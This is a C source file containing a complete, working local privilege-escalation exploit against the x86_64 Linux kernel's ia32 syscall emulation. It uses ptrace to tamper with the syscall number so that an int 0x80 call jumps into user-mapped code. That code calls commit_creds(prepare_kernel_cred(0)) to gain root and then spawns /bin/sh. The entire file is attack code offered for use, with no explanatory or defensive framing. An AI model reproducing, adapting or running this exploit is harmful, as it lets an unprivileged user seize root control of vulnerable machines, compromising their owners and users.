/*
* exploit for x86_64 linux kernel ia32syscall emulation (again)
* rediscovered by ben hawkes
* with help from robert swiecki and tavis ormandy
*
* original vulnerability discovered by Wojciech Purczynski
*
* original exploit by
* Robert Swiecki <robert_at_swiecki.net>
* Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
* Pawel Pisarczyk <pawel_at_immos.com.pl>
*
* kernel priv escalation code borrowed from spender
*
*/
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int kernelmodecode(void *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret = 0, oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}
while (ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
} else {
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
continue;
}
p = strrchr(sname, '_');
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_') {
p--;
}
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf("resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
static void docall(uint64_t *ptr, uint64_t size)
{
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("symbol table not available, aborting!\n");
exit(1);
}
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("symbol table not available, aborting!\n");
exit(1);
}
uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
printf("mapping at %lx\n", tmp);
if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}
for (; (uint64_t) ptr < (tmp + size); ptr++)
*ptr = (uint64_t)kernelmodecode;
__asm__("\n"
"\tmovq $0x101, %rax\n"
"\tint $0x80\n");
printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
execl("/bin/sh", "bin/sh", NULL);
printf("no /bin/sh ??\n");
exit(0);
}
int main(int argc, char **argv)
{
int pid, status, set = 0;
uint64_t rax;
uint64_t kern_s = 0xffffffff80000000;
uint64_t kern_e = 0xffffffff84000000;
uint64_t off = 0x0000000800000101 * 8;
if (argc == 4) {
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
exit(0);
}
if ((pid = fork()) == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[0], argv[0], "2", "3", "4", NULL);
perror("exec fault");
exit(1);
}
if (pid == -1) {
printf("fork fault\n");
exit(1);
}
for (;;) {
if (wait(&status) != pid)
continue;
if (WIFEXITED(status)) {
printf("Process finished\n");
break;
}
if (!WIFSTOPPED(status))
continue;
if (WSTOPSIG(status) != SIGTRAP) {
printf("Process received signal: %d\n", WSTOPSIG(status));
break;
}
rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
if (rax == 0x000000000101) {
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
printf("PTRACE_POKEUSER fault\n");
exit(1);
}
set = 1;
//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
}
if ((rax == 11) && set) {
ptrace(PTRACE_DETACH, pid, 0, 0);
for(;;)
sleep(10000);
}
if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
printf("PTRACE_SYSCALL fault\n");
exit(1);
}
}
return 0;
}
